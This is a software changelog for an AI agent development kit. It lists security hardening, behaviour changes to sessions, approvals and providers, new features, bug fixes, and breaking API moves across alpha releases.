* Agent Forge (`lousho studio`) no longer answers any origin: it sends no CORS headers, refuses a foreign `Origin` or a non-loopback `Host`, and every API and WebSocket call needs the per-launch token printed in its URL. See [Agent Forge](/agent-forge#access-token).
* Tracing: `redactContent` defaults to `true`, so prompts, instructions and tool output are no longer written to span attributes or `.lousho/traces` unless you pass `redactContent: false` (or `captureContent: true` for `gen_ai.*` content).
* The session routes no longer send raw error text to clients: `error` events, `500`s and `provider.retry` / `provider.fallback` events carry the error's `name` and `code` with a generic message, and the full error is logged. Pass `exposeErrors: true` for the old behavior (`lousho dev` does). Channel `500`s no longer echo internal errors either.
* `fromUIMessages()` (and `POST <base>/ui`) keeps only `user` and `assistant` messages from the client; a client-sent `system` message is dropped.
* OAuth: a principal without an issuer gets tokens namespaced by its authenticator, so the same id from Slack and GitHub no longer shares a token (docs/oauth.md has the one-time move); `telegramChannel` and `teamsChannel` send a sign-in link only in a 1:1 chat; the `[REDACTED]` net for `ctx.getToken()` tokens also covers thrown errors, object keys, URLs, class instances and base64 forms of the token.
* `serveMcp` over HTTP validates `Host` and `Origin` against DNS rebinding (new `allowedHosts` / `allowedOrigins`), and loopback checks there and in `WebhookTriggerAdapter` accept exactly `localhost`, `127.x.x.x` and `::1` (`127.attacker.example` passed).
* The `openrouter` provider without `apiKey` reads `OPENROUTER_API_KEY` and no longer sends `OPENAI_API_KEY` to openrouter.ai.
* Slack and Discord signatures accept a timestamp at most a minute ahead (was five minutes either way), read in seconds; `discordChannel` refuses timestamps more than five minutes old. `githubChannel({ deliveries })` takes a shared `DeliveryStore` for `X-GitHub-Delivery` replay protection.
* The `@modelcontextprotocol/sdk` peer range is `^1.31.0` (was `^1.30.1`): 1.30.x is affected by GHSA-6qxp-vccf-f47h, which MCP OAuth relies on.
* `SubprocessSandbox`: `writeFile()` stays under the new `root` option (`LOUSHO_SANDBOX_PATH_DENIED`, also through symlinks), and containers run as `1000:1000` with all capabilities dropped, `no-new-privileges` and default limits (512 MiB, 256 pids, 1 CPU); pass `user: 'root'` for the old user. See [Guardrails](/guardrails#sandboxed-tools).

### Changed

* **Behavior change:** session turns keep the checkpoint history of the latest 10 committed turns (`agent.session({ id, turnHistoryLimit })`; `0` keeps none); storage used to grow with the square of the conversation. Excess history already in a store is deleted over the next commits, also when each turn uses a new process or store object. New `fileStore(dir).prune({ olderThanMs })` returns `checkpointHistory` too; `fileStore()` returns the new `FileStore` type.

* **Behavior change:** a checkpointed run holds a run lease while it executes (new optional `CheckpointStore.acquireLease()`, `releaseLease()`, `renewLease()`, `saveIfLeased()`; file, SQLite, memory and best-effort KV stores). A second process, replica or store object that sends to the same session, resumes it or resolves its approval gets `LOUSHO_SESSION_BUSY` instead of running its tool calls again, and a stalled holder can no longer overwrite the run that took over. A dead holder on the same host is taken over at once; on another machine 30-60 s after its last heartbeat. Schedule fires are claimed the same way, so replicas fire a tick once. See [Run leases](/durable-execution#run-leases).

* **Behavior change:** approvals run at most once: deciding one re-saves the turn as `'in-progress'` with the call in `Checkpoint.startedToolCallIds`, and resuming after a crash mid-call gives it a `kind: 'interrupted'` tool error instead of running it again. Resolving an approval whose run was deleted or replaced fails with `LOUSHO_APPROVAL_ORPHANED` and withdraws it.

* **Behavior change:** a session turn paused for approval locks the session id: a new turn on it throws `SessionAwaitingApprovalError` (`LOUSHO_SESSION_AWAITING_APPROVAL`) until the approval is decided or `discardPending()` drops the turn.

* **Behavior change:** a deterministic provider error records `lastError` on the turn's checkpoint, and later calls on that session fail fast with `LOUSHO_SESSION_TURN_FAILED` instead of replaying the failing turn; `resume()` retries it.

* **Behavior change:** run ids (`send({ sessionId })`, a fork's `newSessionId`) are 1-200 characters of `A-Za-z0-9_.-` on every store and may not end in `.turn-<n>`, `.paused` or `.fire`; `''` is refused. Session ids (`agent.session({ id })`, the routes) stay 1-128 characters of `A-Za-z0-9_-`. The error messages now say which of the two rules applies.

* **Behavior change:** with a store, tools, `needsApproval`, permission rules and hooks get the session id as `ctx.sessionId`, not the checkpoint key `<id>.turn-<n>` (new `ExecuteOptions.contextSessionId`).

* **Behavior change:** a model step with several calls that need approval pauses once, on all of them (`result.approvalIds`, `agent.approvals.resolveAll()`); calls that need no approval run before the pause. See [Several calls in one step](/approvals#several-calls-in-one-step).

* **Behavior change:** `once()` no longer remembers a yes from a `createAgent({ approve })` callback, and `'defer'` is reserved: an approval note that is exactly `'defer'` defers.

* **Behavior change:** `approvalTtlMs` and an `ask` rule's `ttlMs` above 100 years throw `LOUSHO_CONFIG_INVALID` (they meant "never expires").

* **Behavior change:** memory items are keyed `<slot name>#<scope key>`, so two slots on one scope no longer share items. Run `migrateMemoryKeys(slot)` once to copy items stored under the old bare key. See [Memory](/memory#items-from-before-slot-name-keys).

* **Behavior change:** a prompt schedule runs every fire in its own session `schedule-<name>-<fire time>` (`defineSchedule({ sharedSession: true })` keeps one shared session), and a fire that does not finish `'stop'` reports the new `LOUSHO_SCHEDULE_RUN_INCOMPLETE`.

* **Behavior change:** channels without a `store` keep transcripts in the agent's `createAgent({ store })` when it has `sessions`.

* **Behavior change:** the routes let a session turn run to its end and save it when the client disconnects (`onDisconnect: 'abort'` for the old behavior; `waitUntil` keeps a serverless function alive). An aborted turn keeps the user's input, the tool calls that ran and the partial reply (`metadata: { interrupted: true }`), and its usage counts.

* **Behavior change:** tool results are capped at `maxToolResultChars` (default `50_000`, `Infinity` for none) for every tool; MCP image/audio/blob data reaches the model as a placeholder and MCP tool descriptions are cut at 2,000 characters.

* **Behavior change:** a user file part the provider cannot send rejects the call with `LOUSHO_UNSUPPORTED_CONTENT` (under fallback the next provider gets it) instead of a text note; `unsupportedFiles: 'text-note'` keeps the note. See [Multimodal input](/providers#multimodal-input).

* **Behavior change:** `createAgent({ provider })` with a built-in or `fromAiSdk()` provider and no `retry` wraps it in `withRetry()` (provider's `maxRetries`, default 2), and `withRetry()` is the only retry layer: the built-in providers turn the `ai` SDK's own retries off (`retry: false` used to send 3 requests, `maxRetries: 3` sent 12).

* **Behavior change:** a rate-limited call has the code `LOUSHO_PROVIDER_RATE_LIMITED`, and an out-of-credit account (`insufficient_quota`, 402) is the new non-retryable category `quota-exceeded`.

* **Behavior change:** `OpenAIProvider` sends `store: false` on the Responses API unless `store: true` is set.

* **Behavior change (types):** `LLMProviderConfig` has no index signature, so a misspelled option is a type error; `LLMProviderRegistry.register()` / `create()` take the provider's own config type (new `BuiltinProviderConfigs`). `ExecutionFinishReason` is a closed union, and an unknown provider finish reason is reported as `'other'`.

* **Behavior change:** `agent.stream()` rethrows the run's error after the `error` and `run.done` events (`{ throwOnError: false }` for the old behavior).

* **Behavior change (CLI):** every usage error exits 2 and 1 means a command ran and failed. `lousho eval`, `build`, `dev`, `chat`, `acp`, `mcp` and `doctor` load `./.env`. The fallback registry URL points at the installed version's release tag.

* **Behavior change:** `connectMcp()` rethrows a server's start failure as `McpStartError` (`LOUSHO_MCP_START_FAILED`, with exit code and the last stderr lines) instead of wrapping it.

* Evals: `t.maxCostUsd(n)` fails when a run reports no cost (`{ unknownCost: 'skip' }` for the old, now warning, behavior); `judge.model` and `llmJudge()` / `llmCritique()`'s `model` are optional.

* Pruned tool results leave a stub naming the call and its arguments (`[pruned: search({"query":"deploy"}) result, 18234 chars; already read]`).

* Agent Forge: a run on a real provider without an API key fails with `LOUSHO_PROVIDER_MISSING_API_KEY` (HTTP 422) instead of silently using the mock provider, and the provider pill shows what actually ran.

* The examples import `@lousho/build-ai-agent` and its public subpaths instead of the repository's `src/`, so they can be copied into an app as they are.

* The `package.json` that `lousho build --target=node-server|docker` writes lists only the optional peers the bundled server loads (the provider package, `@modelcontextprotocol/sdk` with `mcpServers`), no longer `@lousho/build-ai-agent`: `dist/server.js` bundles the SDK, `ai` and `zod`, so the image's install is smaller.

* The npm package no longer ships the CommonJS build of the CLI (`dist/cli/*.js` and maps) or the CLI's type declarations: `bin/lousho.js` loads only `dist/cli/*.mjs`.

### Added

* Providers: a `timeout` option (default 10 minutes until the response starts and between chunks; `0` or `Infinity` turns it off) and a `fetch` option on every built-in provider. `OpenAIProvider({ api: 'chat' })` and `LOUSHO_OPENAI_API=chat` use Chat Completions for OpenAI-compatible servers (LM Studio, Ollama, vLLM, llama.cpp; the built-in hosted tools are then refused with `LOUSHO_HOSTED_TOOL_UNSUPPORTED`); see [Local and OpenAI-compatible servers](/providers#local-and-openai-compatible-servers). `withRateLimit()` / `createRateLimiter()` and `createAgent({ rateLimit })` queue model calls client-side. `promptCaching: 'auto'` (the default) marks Anthropic cache breakpoints for Claude on `anthropic` and `openrouter`. `withRetry({ idleTimeoutMs })` fails a stream that stalls between chunks (`timeoutMs` now bounds only the wait for the first chunk). `withFallback()` results carry `servedBy`.

* Model settings: `createAgent({ modelSettings })` and per-call `modelSettings` (`maxTokens`, `temperature`, `topP`, penalties, `stop`, `seed`, `toolChoice`), range-checked up front, also in `agent.json`. Per-call `maxSteps` and `instructions` on `send()` / `stream()`. See [Configuration](/configuration#model-settings).

* Cost: built-in prices for more default models (Ollama `llama3` window, OpenRouter variants), cache read/write prices (`cachedInputCostPerMTok`, `cacheWriteCostPerMTok`, `cacheWriteTokens`) and OpenRouter's reported `usage.cost` for `costUsd` and `limits.maxCostUsd`.

* Approvals: `remember: 'session'` and edited `args` on a decision, `'defer'` from an `approve` callback, `approvalTtlMs` / `ttlMs` deadlines (`expiresAt` on events and UI state), `agent.approvals.list()` across processes (new optional `ApprovalStore.list()`), `agent.pending()` for unfinished runs (new optional `CheckpointStore.list()`), and `resumedAfterApproval` on tool-call hook contexts. See [Approvals](/approvals) and [Recovering after a crash](/durable-execution#recovering-after-a-crash).

* Routes: `authorizeSession` and `authorizeApproval` on `createRouteHandler()` / `createDeployedServer()`; approvals report their `sessionId` and error events their `code`. Built node and Docker servers drain on SIGTERM (`shutdown({ timeoutMs })`, `LOUSHO_SHUTDOWN_TIMEOUT_MS`). Channel routes decide each call of a multi-call pause and accept a `sessionKey` after a restart.

* Flows: durable runs (`checkpointStore` + `runId`, `FlowExecutor.resume()`), pausing for approval (`status: 'awaiting-approval'`), per-node `retry` and `timeoutMs`, cancellation through `signal`, and `usage` on the result. See [Flows](/flows).

* Structured output: partial-object streaming (`object.delta`, `partialObject` in the UI bindings), `result.outputRepaired`, `{ schema, promptSchema: false }`, a forced no-tools answer when `maxSteps` or `limits.maxSteps` runs out, and `outputError.kind: 'truncated'`. Unions, records, tuples and optional fields now work on strict endpoints. See [Structured output](/structured-output).

* Memory: `expose: { forget: true }`, `itemSchema` / `itemKey` upserts (new optional `MemoryProvider.upsert()`), `memoryKey()`, de-duplicated `add()`, and `migrateMemoryKeys()`. See [Memory](/memory#correcting-memory).

* MCP: `optional: true`, `cwd`, `stderr`, `connectTimeoutMs`, `timeoutMs`, `tools: { include, exclude }`, per-call `approval({ args })`, `onToolsChanged` and `McpConnections.reconnect()`. See [MCP](/mcp-integration).

* Observability: `invoke_agent` spans carry the request model and token totals (`agentUsageTotals: false` leaves them off), `legacyAttributes: false`, `parentSpanId` on `send()` / `stream()`, retry attributes on `chat` spans, sub-agent names on their spans, and compaction calls as counted `chat` spans. See [Observability](/observability).

* Tools and sub-agents: `defineTool({ timeoutMs })`, `subagentOptions: { background: false }`, `read_skill_file` for skill folders, `ToolDescriptor.transient`, `CommandRule` objects for the shell tool's `allow` / `deny`, and an optional `ShellProvider.shell` that tells the model which shell runs its commands.

* Compaction: `reserveOutputTokens` and `onCompaction` on the object form; `GenerateHookContext.generate()` for counted side calls.

* Evals: sub-agent tool calls in trajectory evals, `SendOptions.onEvent`, `repeat` / `passAt`, `{ agent }` for `setProviderInterceptor` callbacks, `lousho eval --timeout` and `defineEval({ timeoutMs })`, and `recordReplay({ rerecordHint })`. See [Evals](/evals).

* Channels and schedules: `githubChannel({ pullRequestOpened: true })`, `webhookChannel({ principal })`, exported `fireSchedule()`, `startSchedules({ keepAlive: true })` and an awaitable `stop()`, and `mountFetchChannels({ waitUntil })`.

* CLI: `lousho doctor --ping` and base URLs in its output, and `lousho --version`.

* `lousho build --target=node-server|docker` builds a `.ts`/`.js` agent module (the file `lousho dev src/agent.ts` serves: a default or `agent` export holding `createAgent()` options or a built agent). The `cloudflare-worker` target says it builds only a spec or an agent directory. The minimal and tools scaffolds export their options as `src/agent.ts`'s default export, so `lousho dev|chat|mcp|acp|build src/agent.ts` work on a new project, and every scaffold has a `build` script (and `tsup`); the minimal and tools ones also have `dev:ui` (`lousho dev src/agent.ts`).

* The Docker image `lousho build --target=docker` writes has a `HEALTHCHECK` on `GET /health`, and its `.dockerignore` keeps `.env`, `.env.*` and `*.tgz` out of the image.

* `lousho add`, `studio`, `eval` and `traces --help` describe every flag; `lousho help <command>` prints that command's help.

### Fixed

* Durability: concurrent commits on one session no longer lose a turn (new optional `SessionStore.saveIf()` compare-and-swap; `KVStore` stays best effort), and session objects re-read the store instead of caching the transcript. Concurrent `send({ sessionId })` calls in one process run in order. Parallel tool calls are checkpointed as each settles, so a crash no longer re-runs finished calls. A restarted process that resolves a session's approval commits the turn instead of dropping it. `session.clear()` deletes every turn's checkpoints and history, finished turns stay forkable, `session.fork()` works for 122-128 character ids, and sub-agent task ids are never reused.
* Stores: `fileStore` file names are case-safe on Windows and macOS (`Alice` and `alice` no longer share a file), long ids and device names are hashed, older long names are still read, writes are `fsync`ed and Windows `EPERM` / `EBUSY` is retried. A corrupt checkpoint fails with `LOUSHO_CHECKPOINT_CORRUPT` and can be discarded. `SqliteStore` waits 50 ms instead of freezing the event loop, retries locked writes without blocking (`LOUSHO_STORAGE_BUSY`) and `prune()` keeps paused turns. `KVStore` approval claims run a tool once in the common case (`ctx.approval.id` serves as an idempotency key). Image and file bytes survive every store. Taking over a stale file lock is serialized, and `KVCheckpointStore.list()` throws without a `list` binding instead of returning `[]`. `agent.approvals.get()` returns `undefined` for an id that cannot name an approval. `fileMemory` and `sqliteMemory` keep every item with several writers.
* OAuth: concurrent `ctx.getToken()` calls share one refresh, and a refused refresh no longer deletes a newer token.
* Approvals and memory: a run resumed after an approval or a crash keeps its memory tools and the scope it paused with; memory stays on after a handoff; recall errors skip the slot with a warning; invalid scopes fail with `LOUSHO_MEMORY_INVALID`; keyword recall matches whole words; `<memory` tags in item text are escaped; `recall_<name>` returns scores and metadata.
* Providers on `ai` 4, 6 and 7: tool errors are no longer wrapped twice on `ai` 7, malformed or truncated tool-call JSON reaches the model as a repairable `LOUSHO_TOOL_ARGS_INVALID` error (light repairs are tried first; `tool.start` has `rawArgs`), prefixed tool names (`functions.read_file`) resolve, unknown tools suggest the closest name, duplicate tool-call ids both run, a completion sent to a streaming request is replayed, mid-stream and `finish_reason: "error"` failures become retryable 502s, a stream that fails before any output is retried, and unset `temperature` / `maxTokens` are left out. `withFallback()` keeps its state per call, so concurrent calls no longer misreport fallbacks or book cost under the wrong model, and `withRateLimit()` over `withRetry()` streams reports the final attempt and holds its slot until the retried stream ends.
* Provider errors: local runtimes' context overflows are `context-length-exceeded`, refused connections name the URL, status and message are read together, nested OpenRouter reasons are shown, a long `Retry-After` fails at once instead of sleeping, negative hints are ignored, and compacted errors keep their category through `createAgent()`. A missing provider package fails with `LOUSHO_PEER_MISSING`, and the routes send its `npm install` command to the client.
* Provider features: `reasoning` reaches more models and warns once when it is dropped; image MIME types are sniffed; `OpenRouterProvider` honours `baseURL` and `OllamaProvider` sends `headers` and `apiKey`; `supportsTools()` knows current models; registered providers work in model strings; retired fallback models are replaced; price lookup handles OpenRouter spellings; the forced answer at `maxSteps` works on Claude.
* Runs: abort no longer waits on a provider or tool that ignores the signal (`finishReason: 'aborted'`, `result.abortReason`; `mockModel` honours `signal`), aborted streams keep their text, a throwing event listener or trace exporter no longer fails the run, tool results with cycles, BigInts, Maps or Sets serialize, `send(result.messages)` does not repeat the system prompt, `send([])` throws `LOUSHO_CONFIG_INVALID`, a `finish_reason: tool_calls` reply without calls ends `'stop'`, a `load_skill` tool that clashes with `skills` throws, `maxSteps` must be a whole number >= 1, and handoffs work on local models and Anthropic (no mid-conversation system message).
* Structured output: the repair and forced-answer prompts stay out of transcripts, near-miss replies (prose, `<think>` blocks, fenced JSON) are accepted without a repair call, a reply that repeats the schema gets a clearer repair message, and unsupported root unions or zod 4 `z.date()` fields throw a `ConfigurationError` naming the fix. `defineTool()` rejects inputs no model can satisfy and accepts `z.preprocess` dates on zod 4.1+.
* Compaction: summarizing splits oversized histories, counts tool definitions and the output schema, warns when it falls back to a 128,000-token window for an unknown model, caps `protectedTokens` at half the threshold, retries the summarizer after a rejection, counts its call in usage and budgets, and reports `appliedStrategy`.
* Sub-agents and handoffs: dynamic sub-agent config functions get the lead's `sessionId`, `metadata` and `principal`; a failed sub-agent's spend counts; truncated answers say so; agent-directory and Worker `subagents/` run as native sub-agents; a handoff target's `toolSearch` applies.
* Schedules: a fixed-hour cron job in a spring-forward gap runs once after the gap instead of being skipped.
* Flows: a failed `parallel` branch aborts its siblings, `forEach` variables are per iteration, unnamed steps get unique ids, and `resume()` refuses a changed flow (`LOUSHO_FLOW_CHANGED`).
* MCP: `Not connected` counts as a dropped connection and reconnects, `tools/list` follows every page, dropped servers report `'failed'` with their stderr, calls honour abort, text-only results are sent once, tool names are made valid for every provider, object schemas with a sibling `oneOf` keep their shape, `agent.ready()` reconnects after `close()`, and `serveMcp()` over HTTP cancels the run a client cancels or abandons (matched by its new `Mcp-Session-Id`) and rejects its pending approvals. `serveAcp` keeps serving after a malformed JSON line.
* Channels: redelivered webhooks run once (Telegram, GitHub, Slack), concurrent decisions on one approval decide it once (`409 LOUSHO_APPROVAL_CONFLICT`, also on the routes), `webhookChannel` authenticates on Fetch hosts and its pause replies carry the prompt, `githubChannel` ignores `/approve` for unknown approvals, and channel `metadata` reaches the run. `POST <base>/ui` answers 400 for an invalid id, and `auth: ''` is `LOUSHO_AUTH_CONFIG_INVALID` on `createRouteHandler()` and `serveFetch()`.
* UI bindings (React, Vue, Svelte): remote mode keeps one session across turns, a stream that ends early becomes an error, each step starts a new paragraph, abnormal endings set `status: 'error'`, React gains `reset()`, server error messages are kept, Svelte no longer aborts on a transient subscribe, `formatUsage()` shows small costs, and `parseEventStream()` joins multi-line `data:` fields.
* Tracing and OpenTelemetry: open spans are bounded without losing parents, queued background sub-agents stay in the lead's trace, background sub-agent cost rolls up, and `execute_tool` spans carry the error message.
* Evals: replay matches calls by request, sub-agent cassettes are named after the agent, cassette names include a hash of the case label, re-recording unchanged exchanges leaves no diff, tool order no longer breaks replay, reasoning and full usage are recorded, judge scores parse more formats (the last `SCORE:` wins) and judges see the user's input at temperature 0, `lousho eval` gives live cases 10 minutes and its reports are never empty when vitest fails.
* CLI: `lousho dev` reloads CommonJS tool files and recreated folders, tool files no longer print `MODULE_TYPELESS_PACKAGE_JSON`, TypeScript syntax that type stripping cannot erase gets an error suggesting `--experimental-transform-types`, every agent command loads `tools/*.ts` of an installed project (one ESM build, shared brands, `instanceof` across ESM and CJS copies), `lousho build` reports bundling failures as `LOUSHO_DEPLOY_FAILED`, warns about missing provider packages, merges an existing `wrangler.toml` (new default `compatibility_date` `2026-09-01`), no longer needs unused provider packages for a Worker and prints where it wrote, Docker images run as `node`, `lousho doctor` and `lousho mcp` accept agent directories, `lousho add` checks flags and target directories up front and falls back to GitHub when the default registry is down, `lousho init` templates and Windows instructions are fixed, `init` says when the provider's API key is missing and git-ignores an `--sdk-path` tarball, and help texts and messages are clearer.
* Agent directories: every `createAgent()` override passed to `loadAgentDir()` is forwarded, `mock/<name>` models work from every entry point, and import failures throw `LOUSHO_AGENT_DIR_INVALID` with an install hint. `loadSkills()` skips a loose `README.md`.
* Workspace tools: `grep` refuses catastrophic regexes and runs with a time budget, `edit_file` refuses non-UTF-8 files instead of corrupting them, and `tool_search` ranks synonyms and word families.
* Agent Forge: agents are read from and written to `.lousho/agents/`, narrow screens and keyboard and screen-reader use work, invalid names and imports show errors instead of a blank page, finished runs report `done`, and several drawing and status glitches are fixed.
* Packaging and types: ESM consumers get `.d.mts` declarations (plus `typesVersions` for `node10`), declarations type-check with `skipLibCheck: false` on zod 3 and 4, the pi peers are caret ranges, `llms-full.txt` no longer ships and the Worker entry has no source maps.
* Docs: corrections throughout (sessions vs runs under one id, schedules, nextjs approvals, memory, `engines.node`), the snippet check now also runs every snippet that builds its own mock provider and checks fences indented in lists, and the ops-pipeline example works as described.
* A checkpointed session turn that stalled past its run lease and then failed for good no longer stamps its `lastError` (`retryable: false`) on the checkpoint of the process that took the turn over, which bricked that turn forever with `LOUSHO_SESSION_TURN_FAILED`: the session now holds the turn's run lease itself (handed to the run as `HELD_RUN_LEASE`) and `recordFailure()` writes through `RunLease.save`, whose fenced save writes nothing once the lease is lost.
* `agent.send(msg, { sessionId })` and a fresh `agent.session({ id })` no longer run beside a session turn that waits on an approval when its `<id>.paused` marker was never written (a crash or a send between the executor's awaiting-approval checkpoint and `markPaused()`): `pausedSessionTurn` now also scans the store's `<id>.turn-*` checkpoints for `status: 'awaiting-approval'` when the marker is absent, on stores that implement `list()`.
* A streamed tool call whose deltas repeat its `id` while omitting `index` (the OpenAI-compatible / Gemini-proxy servers the tool-call id rewrite exists for) stays one call: each repeat no longer mints a `call_1_2`, `call_1_3`, … id that split the arguments JSON across phantom calls none of which parses; the call's slot in the delta's `tool_calls` stands in for the missing `index`.
* A non-streamed request whose body carries a nested `"stream": true` (a `providerOptions` passthrough, tool arguments, gateway metadata) no longer has its JSON reply rewritten into an SSE stream the consumer cannot parse: whether a request asked for streaming is read from the parsed top-level `stream` field instead of a regex over the raw body.
* Session routes: two concurrent first-touch turns on one unowned session no longer both pass the owner check - the claim is atomic now, so the loser is refused (`403 LOUSHO_SESSION_FORBIDDEN`) instead of streaming a turn inside the winner's session; a claim lost while a turn ran clears what it stored and ends the stream on the same coded error.
* Approve-with-edits on a sub-agent's *grouped* approval validates the edited args against the tool's schema like a top-level or single sub-agent decision does: before, `snapshot.subagent` stored `decision.args` raw, so an invalid edit (e.g. a string where `z.number()` wants a number) ran the tool with garbage args; it now throws `LOUSHO_TOOL_ARGS_INVALID` and leaves the approval pending.
* Aborting a run during a tool call no longer hangs `send()` / `stream()` / `approvals.resolve()` forever on a tool that ignores its `abortSignal`: the tool batch and the approved-tool wait of `resumeAfterApproval()` are raced against the run's signal the way the model call already was, the run ends `finishReason: 'aborted'` with a 'cancelled' result for calls still running past a short grace window (a result that lands within it is still kept), and the tool keeps running in the background.
* A run that re-pauses on several approvals after a resume persists every pending approval id in its checkpoint: `markAwaitingApproval()` wrote only `approvalId`, so durable discovery (`pausedApprovalIds`, `agent.approvals.list()`) named 1 of N approvals; it now carries the group's `approvalIds` like `markGroupPending()` does.
* The `inbox-triage` registry kit loads under `lousho dev`, `chat`, `acp`, `mcp` and `doctor`: its relative imports carry the `.ts` extension Node's type stripping needs (only bundlers resolved them). A test now installs every registry kit and loads it in a plain `node` process, as the CLI does. An extensionless relative import in an agent directory gets a hint naming the specifier to write (`'./lib/store.ts'`), and on a Node without built-in type stripping (before 22.18) the `.ts` load error says Node 22.19+ is required.
* `OPENAI_BASE_URL` (and `ANTHROPIC_BASE_URL`) is used with `@ai-sdk/openai` 1.x (`@ai-sdk/anthropic` 1.x), the line that pairs with `ai` 4: the provider passes it when no `baseURL` is configured. Before, `model: 'openai/...'` called api.openai.com while `lousho doctor --ping` reported the custom endpoint.
* `PropagatingToolError`, `McpToolError` and `WorkspaceError` pass `instanceof` across the ESM and CJS copies of the SDK, so a `.cjs` tool's "do not retry" error stops the run under the ESM `lousho` CLI instead of being handed to the model (and retried).
* `lousho dev` re-evaluates the local helper files an edited tool or agent module imports (the `?t=` cache-bust is passed on to relative imports), instead of logging "reloaded" while serving the stale helper; editor temp files no longer show in the "changed:" list.
* `lousho eval`: a case that vitest fails after the case finished (it ran past its time limit) is reported as that case failing, not as a pass plus an extra `vitest` row; a run that records no case at all (a mistyped `--tag`) exits 1 like a glob that matches nothing.
* The yarn scaffold's `yarn test` works: the templates list `vite`, vitest's peer, which yarn 1 does not install. The README's "Next 3 commands" lists three, and the tools template's README counts its three tools.
* CLI messages: a module that exports no agent names the command that loaded it (`lousho chat:`, not `lousho dev:`); `lousho mcp` without a path says a spec, directory or module is accepted, and `--port`/`--host` without `--http` are a usage error instead of ignored; `lousho version <arg>` and `init --sdk-path <missing>` exit 2; the unknown-provider error lists `mock`.

## \[1.0.0-alpha.19] - 2026-10-08

Everything published from 1.0.0-alpha.15 (2026-10-06) through 1.0.0-alpha.19
(alpha.17 on 2026-10-07, alpha.18 and alpha.19 on 2026-10-08). Most of it was
prepared on `main` under the version number 1.0.0-rc.0, which was never
published. Upgrading from an earlier `1.0.0-alpha.*` release? Read the
[upgrade guide](/upgrading): imports moved to subpaths, dead and
superseded APIs were removed, and the patch guardrails are now patch checks.
What 1.0 considers public is defined there (every `exports` entry and the
checked-in `api/` reports).

### Breaking

* Flows, the Jira / GitHub / Slack / email tools, encryption, `StorageService` and the validators moved out of the package root. Import them from their subpath: `FlowBuilder`, `FlowExecutor`, `validateFlow` and every flow type (`AgentFlow`, `EditorStep`, `FlowExecutionEvent`,...) from `@lousho/build-ai-agent/flows`; `createJiraTools`, `createGitHubTools`, `createSlackTool`, `slackTool`, `postSlackAlert`, `createEmailTool` and their types from `@lousho/build-ai-agent/integrations`; `EncryptionUtils`, `DTOEncryptionFilter`, `DecryptionError`, `sha256`, `generatePassword`, `StorageService`, `StorageServiceApprovalStore`, `LocalStorageCheckpointStore` and the validators (`validateWithSchema`, `safeValidate`, `isValidEmail`,...) from `@lousho/build-ai-agent/utils`. The integrations are no longer in `@lousho/build-ai-agent/tools` and the flow types are no longer in `@lousho/build-ai-agent/types`. Nothing else changed: the classes and functions are the same. For file-backed stores with `createAgent()`, prefer `fileStore(dir)`.
* Removed `AgentType`, `AgentTypeDescriptor`, `AgentConfig.agentType`, `AgentBuilder.setType()` and the agent-type registry (`agentTypesRegistry`, `getAgentTypeDescriptor`, `getAllAgentTypeDescriptors`, `isValidAgentType`, `validateAgentConfig`, `validateAgentTools`). They had no runtime effect since 1.0.0-alpha: delete the `setType(...)` call and the `agentType` field. Also removed, because nothing implemented or used them: the repository interfaces (`IRepository`, `IAgentRepository`, `ISessionRepository`, `IResultRepository`, `SessionData`, `ResultData`, `SDKRepositories`), `DataLoadingStatus`, `PaginationParams`, `PaginatedResponse`, `DeepPartial`, `Timestamped`, `IdEntity`, `AgentExecutionOptions`, `AgentExecutionResult`, `AgentDefinition` and `ToolSetting`. If your code used one of these types, copy its declaration into your project. A checkpoint saved with `agentType` still loads; the field is ignored.
* Removed `ExecuteOptions.onEvent` and the `ExecutionEvent` / `ExecutionEventType` types, deprecated in an earlier alpha. Pass `onAgentEvent` to `AgentExecutor.execute()` / `stream()` / `resumeAfterApproval()` instead (with `createAgent()`, `onEvent` already receives `AgentEvent`s and is unchanged). The mapping from the old event names to `AgentEvent` types is in docs/streaming.md#listening-without-iterating ("Migrating from `onEvent` / `ExecutionEvent`"). The one-time "onEvent is deprecated" warning is gone with it.
* Removed `createDelegateTool()`, `DelegateAgentOptions`, `DelegateAgentResult` and `DelegationDepthExceededError`. Use the `subagents` option instead, on `createAgent()` or `AgentExecutor.execute()`: create the child with `createAgent({ provider, instructions, description })` and pass `subagents: { billing }`. The model gets one `task` tool for every sub-agent, with the same inheritance (hooks, permissions, abort, usage roll-up) and a depth limit (`maxSubagentDepth`, default `1`). A run at the depth limit is not offered the `task` tool, so a delegation cycle can no longer start; `DelegationDepthExceededError` is gone. See docs/sub-agents.md.
* The executor API moved out of the package root to `@lousho/build-ai-agent/executor`: `AgentExecutor`, `AgentBuilder`, `ExecuteOptions`, `resumeAfterApproval`, `streamResumeAfterApproval`, `resumeRequest`, `ResumeExecuteOptions`, `ResumeRequest`, `ToolRegistry` and `globalToolRegistry`. Change `import { AgentExecutor, AgentBuilder } from '@lousho/build-ai-agent'` to `import { AgentExecutor, AgentBuilder } from '@lousho/build-ai-agent/executor'`. `ToolRegistry` is also still in `@lousho/build-ai-agent/tools`. The `@lousho/build-ai-agent/core` subpath is removed: import `AgentBuilder` from `@lousho/build-ai-agent/executor`. `createAgent()`, `ExecutionResult` and every type `createAgent()` uses stay in the root. To move off the executor API entirely, see docs/migrating-to-create-agent.md.
* The patch guardrails are now called patch checks, so "guardrail" only means the input/output/tool guardrails of `createAgent({ guardrails })`. Rename: `runGuardrails` to `runPatchChecks`, `Guardrail` to `PatchCheck`, `GuardrailResult` to `PatchCheckResult`, `ProposedAction` to `ProposedPatch`, `RunGuardrailsResult` to `RunPatchChecksResult`, `runGuardrailSafely` to `runPatchCheckSafely`, `secretScanGuardrail` to `secretScanCheck`, `createDiffSizeGuardrail` to `createDiffSizeCheck`, `createCommandGuardrail` to `createCommandCheck` (options type `CommandCheckOptions`), `createTestRunGuardrail` to `createTestRunCheck`, `createLintGuardrail` to `createLintCheck`. Arguments, results and behavior are unchanged. `SECRET_PATTERNS` keeps its name.

### Security

* **Behavior change:** MCP tools now ask for approval by default (`approval: 'always'`). A server's own `readOnlyHint` / `destructiveHint` no longer switch approval off or let a tool run in plan mode unless its entry opts in with `approval: 'annotations'` (loaded descriptors then carry `metadata.mcp.annotationsTrusted: false`). An MCP tool whose `<server>__<tool>` name equals a local tool's is refused with `LOUSHO_CONFIG_INVALID` instead of silently replacing it and its approval gate. Set `approval: 'annotations'` on servers you trust to keep the old behavior. See [MCP](/mcp-integration#approval-for-mcp-tools).
